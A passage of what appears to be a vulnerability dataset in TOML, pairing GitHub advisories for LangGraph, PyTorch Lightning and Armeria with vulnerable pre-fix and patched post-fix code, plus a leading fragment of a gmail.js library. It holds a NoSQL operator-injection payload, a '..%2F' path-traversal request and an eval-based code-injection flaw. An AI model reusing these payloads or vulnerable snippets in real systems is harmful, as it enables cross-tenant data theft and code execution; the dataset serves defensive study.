input[type=hidden]\"+name_selector).each(function(idx, recipient ){\n if(options.flat) {\n recipients.push(recipient.value);\n } else {\n if(!recipients[recipient.name]) recipients[recipient.name] = [];\n recipients[recipient.name].push(recipient.value);\n }\n });\n return recipients;\n },\n\n /**\n Retrieve the current \"to\" recipients\n */\n to: function(to) {\n return this.dom(\"to\").val(to);\n },\n\n /**\n Retrieve the current \"cc\" recipients\n */\n cc: function(cc) {\n return this.dom(\"cc\").val(cc);\n },\n\n /**\n Retrieve the current \"bcc\" recipients\n */\n bcc: function(bcc) {\n return this.dom(\"bcc\").val(bcc);\n },\n\n /**\n Get/Set the current subject\n Parameters:\n subject string set as new subject\n */\n subject: function(subject) {\n if(subject) this.dom(\"all_subjects\").val(subject);\n subject = this.dom(\"subjectbox\").val();\n return subject ? subject : this.dom(\"subject\").val();\n },\n\n /**\n Get the from email\n if user only has one email account they can send from, returns that email address\n */\n from: function() {\n var el = this.dom(\"from\");\n if (el.length) {\n var fromNameAndEmail = el.val();\n if (fromNameAndEmail) {\n return api.tools.extract_email_address(fromNameAndEmail);\n }\n }\n return api.get.user_email();\n },\n\n /**\n Get/Set the email body\n */\n body: function(body) {\n var el = this.dom(\"body\");\n if(body) el.html(body);\n return el.html();\n },\n\n /**\n Triggers the same action as clicking the \"send\" button would do.\n */\n send: function() {\n return this.dom(\"send_button\").click();\n },\n\n /**\n Map find through to jquery element\n */\n find: function(selector) {\n return this.$el.find(selector);\n },\n\n /**\n Retrieve preconfigured dom elements for this compose window\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n to:\"textarea[name=to]\",\n cc:\"textarea[name=cc]\",\n bcc:\"textarea[name=bcc]\",\n id: \"input[name=composeid]\",\n draft: \"input[name=draft]\",\n subject: \"input[name=subject]\",\n subjectbox: \"input[name=subjectbox]\",\n all_subjects: \"input[name=subjectbox], input[name=subject]\",\n body: \"div[contenteditable=true]\",\n reply: \"M9\",\n forward: \"M9\",\n from: \"input[name=from]\",\n send_button: \"div.T-I.T-I-atl\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\",config,lookup,config[lookup]);\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n An object for interacting with an email currently present in the DOM. Represents an individual email message within a thread\n Provides a number of methods and properties to access & interact with it\n Expects a jQuery DOM element for the email div (div.adn as returned by the \"view_email\" observer), or an email_id\n */\n api.dom.email = function(element) {\n if (this.constructor !== api.dom.email) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.email(element);\n }\n\n if (typeof element === \"string\") {\n this.id = element;\n var message_class_id = \"m\" + this.id;\n this.id_element = $(\"div.ii.gt div.a3s.aXjCH.\" + message_class_id);\n element = this.id_element.closest(\"div.adn\");\n } else {\n element = $(element);\n }\n if (!element || (!element.hasClass(\"adn\"))) api.tools.error(\"api.dom.email called with invalid element/id\");\n\n // if no id specified, extract from the body wrapper class (starts with \"m\" followed by the id)\n if (!this.id) {\n this.id_element = element.find(\"div.ii.gt div.a3s.aXjCH\");\n var classValue = this.id_element.attr(\"class\");\n if (classValue !== null) {\n var matches = classValue.match(/(^|\\s)m([\\S]*)/);\n if (matches !== null) {\n this.id = matches.pop();\n }\n }\n }\n this.$el = element;\n return this;\n };\n\n extend(api.dom.email.prototype, {\n\n /**\n Get/Set the full email body as it sits in the DOM\n If you want the actual DOM element use .dom(\"body\");\n Note: This gets & sets the body html after it has been parsed & marked up by GMAIL. To retrieve it as it exists in the email message source, use a call to .data();\n */\n body: function(body) {\n var el = this.dom(\"body\");\n if (body) {\n el.html(body);\n }\n return el.html();\n },\n\n /**\n Get/Set the sender\n Optionally receives email and name properties. If received updates the values in the DOM\n Returns an object containing email & name of the sender and dom element\n */\n from: function(email, name) {\n var el = this.dom(\"from\");\n if (email) {\n el.attr(\"email\",email);\n }\n if (name) {\n el.attr(\"name\",name);\n el.html(name);\n }\n return {\n email: el.attr(\"email\"),\n name: el.attr(\"name\"),\n el: el\n };\n },\n\n /**\n Get/Set who the email is showing as To\n Optionally receives an object containing email and/or name properties. If received updates the values in the DOM.\n Optionally receives an array of these objects if multiple recipients\n Returns an array of objects containing email & name of who is showing in the DOM as the email is to\n */\n to: function(to_array) {\n\n // if update data has been passeed, loop through & create a new to_wrapper contents\n if (to_array) {\n if (!$.isArray(to_array)) {\n to_array = [to_array];\n }\n var html = [];\n $.each(to_array, function(index, obj) {\n html.push( $(\"\").attr({\n dir: \"ltr\",\n email: obj.email,\n name: obj.name\n }).addClass(\"g2\").html(obj.name).wrap(\"\").parent().html());\n });\n this.dom(\"to_wrapper\").html(\"to \" + html.join(\", \"));\n }\n\n\n // loop through any matching to elements & prepare for output\n var out = [];\n\n this.dom(\"to\").each(function() {\n var el = $(this);\n out.push({\n email: el.attr(\"email\"),\n name: el.attr(\"name\"),\n el: el\n });\n });\n return out;\n },\n\n /**\n Retries the DOM elements which represents the emails attachments\n */\n attachments: function() {\n var out = [];\n\n this.dom(\"attachments\").each(function() {\n var el = $(this);\n var url = el.attr(\"download_url\");\n var parsed = api.tools.parse_attachment_url(url);\n parsed.$el = el;\n parsed.size = el.find(\".SaH2Ve\").html();\n out.push(parsed);\n });\n return out;\n },\n\n /**\n Retrieve relevant email from the Gmail servers for this email\n Makes use of the gmail.get.email_data() method\n Returns an object\n */\n data: function() {\n if (typeof api.dom.email_cache !== \"object\") {\n api.dom.email_cache = {};\n }\n if (!api.dom.email_cache[this.id]) {\n\n // retrieve & cache the data for this whole thread of emails\n var data = api.get.email_data(this.id);\n $.each(data.threads, function(email_id, email_data) {\n api.dom.email_cache[email_id] = email_data;\n });\n }\n return api.dom.email_cache[this.id];\n },\n\n /**\n Retrieve email source for this email from the Gmail servers\n Makes use of the gmail.get.email_source() method\n Returns string of email raw source\n */\n source: function() {\n return api.get.email_source(this.id);\n },\n\n /**\n Retrieve preconfigured dom elements for this email\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n body: \"div.a3s\",\n from: \"span[email].gD\",\n to: \"span[email].g2\",\n to_wrapper: \"span.hb\",\n timestamp: \"span.g3\",\n star: \"div.zd\",\n attachments: \"div.hq.gt div.aQH span.aZo\",\n\n // buttons\n reply_button: \"div[role=button].aaq\",\n menu_button: \"div[role=button].aap\",\n details_button: \"div[role=button].ajz\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\");\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n An object for interacting with an email currently present in the DOM. Represents a conversation thread\n Provides a number of methods and properties to access & interact with it\n Expects a jQuery DOM element for the thread wrapper div (div.if as returned by the \"view_thread\" observer)\n */\n api.dom.thread = function(element) {\n if (this.constructor !== api.dom.thread) {\n // if not invoked through new(), nothing works as expected!\n return new api.dom.thread(element);\n }\n\n if (!element || (!element.hasClass(\"if\"))) api.tools.error(\"api.dom.thread called with invalid element/id\");\n this.$el = element;\n return this;\n };\n\n extend(api.dom.thread.prototype, {\n\n /**\n Retrieve preconfigured dom elements for this email\n */\n dom: function(lookup) {\n if (!lookup) return this.$el;\n var config = {\n opened_email: \"div.adn\",\n subject: \"h2.hP\",\n labels: \"div.hN\"\n };\n if(!config[lookup]) api.tools.error(\"Dom lookup failed. Unable to find config for \\\"\" + lookup + \"\\\"\");\n return this.$el.find(config[lookup]);\n }\n\n });\n\n /**\n * Show a compose window\n * @returns {boolean}\n */\n api.compose.start_compose = function() {\n\n //The compose button\n var composeEl = $(\".T-I.J-J5-Ji.T-I-KE.L3\")[0];\n\n if(composeEl) {\n api.helper.trigger_mouse_click(composeEl);\n\n return true;\n }\n return false;\n };\n\n return api;\n};"
+repo = "kartiktalwar/gmail.js"
+url = "https://github.com/KartikTalwar/gmail.js.git"
+
+[[case]]
+advisory = "GHSA-98xf-r82g-9mhx"
+advisory_text = "LangGraph has NoSQL parameter injection in MongoDBSaver, allowing cross-tenant state access\n\n## Summary\n\nA NoSQL injection vulnerability existed in `MongoDBSaver` where checkpoint identifier fields from `config.configurable` were used in MongoDB queries without strict type enforcement. In vulnerable versions, attacker-controlled object payloads (for example MongoDB operators like `$gt` and `$ne`) could be interpreted as query operators instead of literal identifier values.\n\nThis could bypass intended thread scoping and return checkpoints from other tenants.\n\n## Attack surface\n\nThe vulnerable path was in `MongoDBSaver.getTuple()`, where `thread_id`, `checkpoint_ns`, and `checkpoint_id` were used in MongoDB `find()` queries. The same unvalidated values were then reused to fetch pending writes.\n\nApplications were exposed when untrusted input was forwarded into `config.configurable` (for example, directly from request bodies or query parameters) without string coercion or schema validation.\n\n## Who is affected?\n\nApplications are vulnerable if they:\n\n- Use `@langchain/langgraph-checkpoint-mongodb` with multi-tenant or user-isolated thread models.\n- Accept user-controlled values for `thread_id`, `checkpoint_ns`, or `checkpoint_id`.\n- Pass those values into `app.invoke()`, `app.stream()`, or direct saver methods without validation.\n\nApplications are generally not vulnerable if they:\n\n- Use server-issued identifiers only.\n- Source `thread_id` from trusted URL params that remain strings.\n- Enforce schema validation that rejects non-string identifier fields.\n\n## Impact\n\nAn attacker with control over configurable checkpoint identifiers could read checkpoint data outside their authorized thread boundary.\n\nPotentially exposed data includes:\n\n- Checkpoint state\n- Metadata\n- Pending writes\n\nThis is a confidentiality issue with cross-tenant data disclosure risk.\n\n## Exploit example\n\nAn attacker-controlled request can inject MongoDB operators:\n\n```ts\ngraph = new StateGraph(...)\n .compile({\n checkpointer: new MongoDBSaver()\n });\n\ngraph.invoke(..., {\n configurable: { \n \"thread_id\": { \"$gt\": \"\" },\n \"checkpoint_ns\": { \"$ne\": null }\n }\n});\n```\n\nIf this payload is forwarded into `config.configurable`, the resulting query may match checkpoints outside the intended tenant/thread scope.\n\n## Security hardening changes\n\nVersion `1.3.1` hardens `@langchain/langgraph-checkpoint-mongodb` by adding runtime validation for configurable checkpoint identifiers and rejecting invalid values before MongoDB query/write paths execute.\n\nThe patch also includes regression tests covering object/operator payloads across affected methods.\n\n## Migration guide\n\nUpgrade to `@langchain/langgraph-checkpoint-mongodb@1.3.1` or later.\n\nNo API migration is required for valid callers. However, applications that currently pass non-string identifier values in `config.configurable` will now receive explicit errors and should normalize/validate inputs.\n\nAs defense in depth, validate identifier fields at API boundaries and avoid passing raw client objects into graph config.\n\n## Resources\n\n- Issue: https://github.com/langchain-ai/langgraphjs/issues/2351\n- Fix PR: https://github.com/langchain-ai/langgraphjs/pull/2397"
+commit = "284226c7ca164b3c81fe2d9e32b10f1fc6b99a3c"
+cwe = "CWE-943"
+family = "injection"
+function = "deleteThread"
+function_lines = [[335, 344]]
+id = "langchain-ai-langgraphjs-920b675720dbc952"
+language = "typescript"
+method = "fix_site"
+parent = "428c4e3f2946cc2b06f8550aa6974d5bdb2352c2"
+path = "libs/checkpoint-mongodb/src/checkpoint.ts"
+post_fix = " async deleteThread(threadId: string) {\n if (typeof threadId !== \"string\") {\n throw new Error(\"Invalid threadId: expected a string\");\n }\n\n await this.db\n .collection(this.checkpointCollectionName)\n .deleteMany({ thread_id: threadId });\n\n await this.db\n .collection(this.checkpointWritesCollectionName)\n .deleteMany({ thread_id: threadId });\n }\n}"
+pre_fix = " async deleteThread(threadId: string) {\n await this.db\n .collection(this.checkpointCollectionName)\n .deleteMany({ thread_id: threadId });\n\n await this.db\n .collection(this.checkpointWritesCollectionName)\n .deleteMany({ thread_id: threadId });\n }\n}"
+repo = "langchain-ai/langgraphjs"
+url = "https://github.com/langchain-ai/langgraphjs.git"
+
+[[case]]
+advisory = "GHSA-r5qj-cvf9-p85h"
+advisory_text = "Code Injection in PyTorch Lightning\n\nPyTorch Lightning version 1.5.10 and prior is vulnerable to code injection. An attacker could execute commands on the target OS running the operating system by setting the `PL_TRAINER_GPUS` when using the `Trainer` module. A [patch](https://github.com/pytorchlightning/pytorch-lightning/commit/8b7a12c52e52a06408e9231647839ddb4665e8ae) is included in the `1.6.0` release."
+commit = "8b7a12c52e52a06408e9231647839ddb4665e8ae"
+cwe = "CWE-94"
+family = "injection"
+function = "parse_env_variables"
+function_lines = [[99, 128]]
+id = "lightning-ai-pytorch-lightning-8a9ebfbdcc58e73e"
+language = "python"
+method = "fix_site"
+parent = "91052dc6d54c0a9292704440bc6bc1892f8dd4b2"
+path = "pytorch_lightning/utilities/argparse.py"
+post_fix = "def parse_env_variables(cls: Type[\"pl.Trainer\"], template: str = \"PL_%(cls_name)s_%(cls_argument)s\") -> Namespace:\n \"\"\"Parse environment arguments if they are defined.\n\n Examples:\n\n >>> from pytorch_lightning import Trainer\n >>> parse_env_variables(Trainer)\n Namespace()\n >>> import os\n >>> os.environ[\"PL_TRAINER_GPUS\"] = '42'\n >>> os.environ[\"PL_TRAINER_BLABLABLA\"] = '1.23'\n >>> parse_env_variables(Trainer)\n Namespace(gpus=42)\n >>> del os.environ[\"PL_TRAINER_GPUS\"]\n \"\"\"\n cls_arg_defaults = get_init_arguments_and_types(cls)\n\n env_args = {}\n for arg_name, _, _ in cls_arg_defaults:\n env = template % {\"cls_name\": cls.__name__.upper(), \"cls_argument\": arg_name.upper()}\n val = os.environ.get(env)\n if not (val is None or val == \"\"):\n # todo: specify the possible exception\n with suppress(Exception):\n # converting to native types like int/float/bool\n val = literal_eval(val)\n env_args[arg_name] = val\n return Namespace(**env_args)\n\n"
+pre_fix = "def parse_env_variables(cls: Type[\"pl.Trainer\"], template: str = \"PL_%(cls_name)s_%(cls_argument)s\") -> Namespace:\n \"\"\"Parse environment arguments if they are defined.\n\n Examples:\n\n >>> from pytorch_lightning import Trainer\n >>> parse_env_variables(Trainer)\n Namespace()\n >>> import os\n >>> os.environ[\"PL_TRAINER_GPUS\"] = '42'\n >>> os.environ[\"PL_TRAINER_BLABLABLA\"] = '1.23'\n >>> parse_env_variables(Trainer)\n Namespace(gpus=42)\n >>> del os.environ[\"PL_TRAINER_GPUS\"]\n \"\"\"\n cls_arg_defaults = get_init_arguments_and_types(cls)\n\n env_args = {}\n for arg_name, _, _ in cls_arg_defaults:\n env = template % {\"cls_name\": cls.__name__.upper(), \"cls_argument\": arg_name.upper()}\n val = os.environ.get(env)\n if not (val is None or val == \"\"):\n # todo: specify the possible exception\n with suppress(Exception):\n # converting to native types like int/float/bool\n val = eval(val)\n env_args[arg_name] = val\n return Namespace(**env_args)\n\n"
+repo = "lightning-ai/pytorch-lightning"
+url = "https://github.com/Lightning-AI/pytorch-lightning.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "appendOneByte"
+function_lines = [[359, 389]]
+id = "line-armeria-143c39cfd2874e4c"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java"
+post_fix = " private static boolean appendOneByte(Bytes buf, int cp, boolean wasSlash, boolean isPath) {\n if (cp == 0x7F) {\n // Reject the control character: 0x7F\n return false;\n }\n\n if (cp >>> 5 == 0) {\n // Reject the control characters: 0x00..0x1F\n if (isPath) {\n return false;\n } else if (cp != 0x0A && cp != 0x0D && cp != 0x09) {\n // .. except 0x0A (LF), 0x0D (CR) and 0x09 (TAB) because they are used in a form.\n return false;\n }\n }\n\n if (cp == '/' && isPath) {\n if (!wasSlash) {\n buf.ensure(1);\n buf.add((byte) '/');\n } else {\n // Remove the consecutive slashes: '/path//with///consecutive////slashes'.\n }\n } else {\n final BitSet allowedChars = isPath ? ALLOWED_PATH_CHARS : ALLOWED_QUERY_CHARS;\n buf.ensure(1);\n if (allowedChars.get(cp)) {\n buf.add((byte) cp);\n } else {\n buf.addEncoded((byte) cp);\n }\n }\n\n return true;\n }\n"
+pre_fix = " private static boolean appendOneByte(Bytes buf, int cp, boolean wasSlash, boolean isPath) {\n if (cp == 0x7F) {\n // Reject the control character: 0x7F\n return false;\n }\n\n if (cp >>> 5 == 0) {\n // Reject the control characters: 0x00..0x1F\n if (isPath) {\n return false;\n } else if (cp != 0x0A && cp != 0x0D && cp != 0x09) {\n // .. except 0x0A (LF), 0x0D (CR) and 0x09 (TAB) because they are used in a form.\n return false;\n }\n }\n\n if (cp == '/' && isPath) {\n if (!wasSlash) {\n buf.ensure(1);\n buf.add((byte) '/');\n } else {\n // Remove the consecutive slashes: '/path//with///consecutive////slashes'.\n }\n } else {\n buf.ensure(1);\n buf.add((byte) cp);\n }\n\n return true;\n }\n"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "try"
+function_lines = [[314, 343]]
+id = "line-armeria-1a9b7d60cd9e8330"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/ArmeriaHttpUtil.java"
+post_fix = " try (TemporaryThreadLocals tempThreadLocals = TemporaryThreadLocals.acquire()) {\n final byte[] buf = tempThreadLocals.byteArray(len);\n int dstLen = 0;\n for (int i = 0; i < len; i++) {\n final char ch = path.charAt(i);\n if (ch != '%') {\n buf[dstLen++] = (byte) ((ch & 0xFF80) == 0 ? ch : 0xFF);\n continue;\n }\n\n // Decode a percent-encoded character.\n final int hexEnd = i + 3;\n if (hexEnd > len) {\n // '%' or '%x' (must be followed by two hexadigits)\n buf[dstLen++] = (byte) 0xFF;\n break;\n }\n\n final int digit1 = decodeHexNibble(path.charAt(++i));\n final int digit2 = decodeHexNibble(path.charAt(++i));\n if (digit1 < 0 || digit2 < 0) {\n // The first or second digit is not hexadecimal.\n buf[dstLen++] = (byte) 0xFF;\n } else {\n final byte decoded = (byte) ((digit1 << 4) | digit2);\n if (decodeSlash || decoded != 0x2F) {\n buf[dstLen++] = decoded;\n } else {\n buf[dstLen++] = '%';\n buf[dstLen++] = '2';\n buf[dstLen++] = (byte) path.charAt(i); // f or F - preserve the case.\n }\n }\n }\n\n return new String(buf, 0, dstLen, StandardCharsets.UTF_8);\n }"
+pre_fix = " try (TemporaryThreadLocals tempThreadLocals = TemporaryThreadLocals.acquire()) {\n final byte[] buf = tempThreadLocals.byteArray(len);\n int dstLen = 0;\n for (int i = 0; i < len; i++) {\n final char ch = path.charAt(i);\n if (ch != '%') {\n buf[dstLen++] = (byte) ((ch & 0xFF80) == 0 ? ch : 0xFF);\n continue;\n }\n\n // Decode a percent-encoded character.\n final int hexEnd = i + 3;\n if (hexEnd > len) {\n // '%' or '%x' (must be followed by two hexadigits)\n buf[dstLen++] = (byte) 0xFF;\n break;\n }\n\n final int digit1 = decodeHexNibble(path.charAt(++i));\n final int digit2 = decodeHexNibble(path.charAt(++i));\n if (digit1 < 0 || digit2 < 0) {\n // The first or second digit is not hexadecimal.\n buf[dstLen++] = (byte) 0xFF;\n } else {\n buf[dstLen++] = (byte) ((digit1 << 4) | digit2);\n }\n }\n\n return new String(buf, 0, dstLen, StandardCharsets.UTF_8);\n }"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "splitPathAndQuery"
+function_lines = [[189, 230]]
+id = "line-armeria-3196308da59204ff"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java"
+post_fix = " private static PathAndQuery splitPathAndQuery(@Nullable final String pathAndQuery) {\n final Bytes path;\n final Bytes query;\n\n if (pathAndQuery == null) {\n return ROOT_PATH_QUERY;\n }\n\n // Split by the first '?'.\n final int queryPos = pathAndQuery.indexOf('?');\n if (queryPos >= 0) {\n if ((path = decodePercentsAndEncodeToUtf8(\n pathAndQuery, 0, queryPos, true)) == null) {\n return null;\n }\n if ((query = decodePercentsAndEncodeToUtf8(\n pathAndQuery, queryPos + 1, pathAndQuery.length(), false)) == null) {\n return null;\n }\n } else {\n if ((path = decodePercentsAndEncodeToUtf8(\n pathAndQuery, 0, pathAndQuery.length(), true)) == null) {\n return null;\n }\n query = null;\n }\n\n if (path.data[0] != '/' || path.isEncoded(0)) {\n // Do not accept a relative path.\n return null;\n }\n\n // Reject the prohibited patterns.\n if (pathContainsDoubleDots(path) || queryContainsDoubleDots(query)) {\n return null;\n }\n\n return new PathAndQuery(encodePathToPercents(path), encodeQueryToPercents(query));\n }\n\n @Nullable"
+pre_fix = " private static PathAndQuery splitPathAndQuery(@Nullable final String pathAndQuery) {\n final Bytes path;\n final Bytes query;\n\n if (pathAndQuery == null) {\n return ROOT_PATH_QUERY;\n }\n\n // Split by the first '?'.\n final int queryPos = pathAndQuery.indexOf('?');\n if (queryPos >= 0) {\n if ((path = decodePercentsAndEncodeToUtf8(\n pathAndQuery, 0, queryPos, true)) == null) {\n return null;\n }\n if ((query = decodePercentsAndEncodeToUtf8(\n pathAndQuery, queryPos + 1, pathAndQuery.length(), false)) == null) {\n return null;\n }\n } else {\n if ((path = decodePercentsAndEncodeToUtf8(\n pathAndQuery, 0, pathAndQuery.length(), true)) == null) {\n return null;\n }\n query = null;\n }\n\n if (path.data[0] != '/') {\n // Do not accept a relative path.\n return null;\n }\n\n // Reject the prohibited patterns.\n if (pathContainsDoubleDots(path)) {\n return null;\n }\n\n return new PathAndQuery(encodeToPercents(path, true),\n query != null ? encodeToPercents(query, false) : null);\n }\n\n @Nullable"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "decodePath"
+function_lines = [[305, 348]]
+id = "line-armeria-36dfac02c436f929"
+language = "java"
+method = "fix_site"
+parent = "a1105519e920b00ee3bc848a5074d943925931ef"
+path = "core/src/main/java/com/linecorp/armeria/internal/common/ArmeriaHttpUtil.java"
+post_fix = " public static String decodePath(String path) {\n if (path.indexOf('%') < 0) {\n // No need to decode because it's not percent-encoded\n return path;\n }\n\n // Decode percent-encoded characters, but don't decode %2F into /, so that a user can choose\n // to use it as a non-separator.\n //\n // For example, for the path pattern `/orgs/{org_name}/agents/{agent_name}`:\n // - orgs/mi6/agents/ethan-hunt\n // - org_name: mi6\n // - agent_name: ethan-hunt\n // - orgs/mi%2F6/agents/ethan-hunt\n // - org_name: mi/6\n // - agent_name: ethan-hunt\n return slowDecodePath(path, false);\n }\n\n /**\n * Decodes a single percent-encoded path parameter.\n */"
+pre_fix = " public static String decodePath(String path) {\n if (path.indexOf('%') < 0) {\n // No need to decoded; not percent-encoded\n return path;\n }\n\n // Decode percent-encoded characters.\n // An invalid character is replaced with 0xFF, which will be replaced into '�' by UTF-8 decoder.\n final int len = path.length();\n try (TemporaryThreadLocals tempThreadLocals = TemporaryThreadLocals.acquire()) {\n final byte[] buf = tempThreadLocals.byteArray(len);\n int dstLen = 0;\n for (int i = 0; i < len; i++) {\n final char ch = path.charAt(i);\n if (ch != '%') {\n buf[dstLen++] = (byte) ((ch & 0xFF80) == 0 ? ch : 0xFF);\n continue;\n }\n\n // Decode a percent-encoded character.\n final int hexEnd = i + 3;\n if (hexEnd > len) {\n // '%' or '%x' (must be followed by two hexadigits)\n buf[dstLen++] = (byte) 0xFF;\n break;\n }\n\n final int digit1 = decodeHexNibble(path.charAt(++i));\n final int digit2 = decodeHexNibble(path.charAt(++i));\n if (digit1 < 0 || digit2 < 0) {\n // The first or second digit is not hexadecimal.\n buf[dstLen++] = (byte) 0xFF;\n } else {\n buf[dstLen++] = (byte) ((digit1 << 4) | digit2);\n }\n }\n\n return new String(buf, 0, dstLen, StandardCharsets.UTF_8);\n }\n }\n\n /**\n * Returns {@code true} if the specified {@code path} is an absolute {@code URI}.\n */"
+repo = "line/armeria"
+url = "https://github.com/line/armeria.git"
+
+[[case]]
+advisory = "GHSA-8fp4-rp6c-5gcv"
+advisory_text = "Path Traversal in com.linecorp.armeria:armeria\n\n### Impact\n\nAn attacker can access an Armeria server's local file system beyond its restricted directory by sending an HTTP request whose path contains `%2F` (encoded `/`), such as `/files/..%2Fsecrets.txt`, bypassing Armeria's path validation logic.\n\n### Patches\n\nArmeria 1.13.4 or above contains the hardened path validation logic that handles `%2F` properly. \n\n### Workarounds\n\nThis vulnerability can be worked around by inserting a decorator that performs an additional validation on the request path, e.g.\n\n```java\nServer\n .builder()\n .serviceUnder(\n \"/files\",\n FileService\n .of(...)\n .decorate((delegate, ctx, req) -> {\n String path = req.headers().path();\n if (path.contains(\"%2f\") || path.contains(\"%2F\")) {\n return HttpResponse.of(HttpStatus.BAD_REQUEST);\n }\n return delegate.serve(ctx, req);\n })\n )\n .build()\n```\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [line/armeria](https://github.com/line/armeria)\n* Chat with us at [Slack](https://armeria.dev/s/slack)\n\n### Credits\n\nThis vulnerability was originally reported by Abdallah Zaher ([elcayser-0x0a](https://hackerone.com/elcayser-0x0a?type=user))."
+commit = "e2697a575e9df6692b423e02d731f293c1313284"
+cwe = "CWE-22"
+family = "path"
+function = "pathContainsDoubleDots"
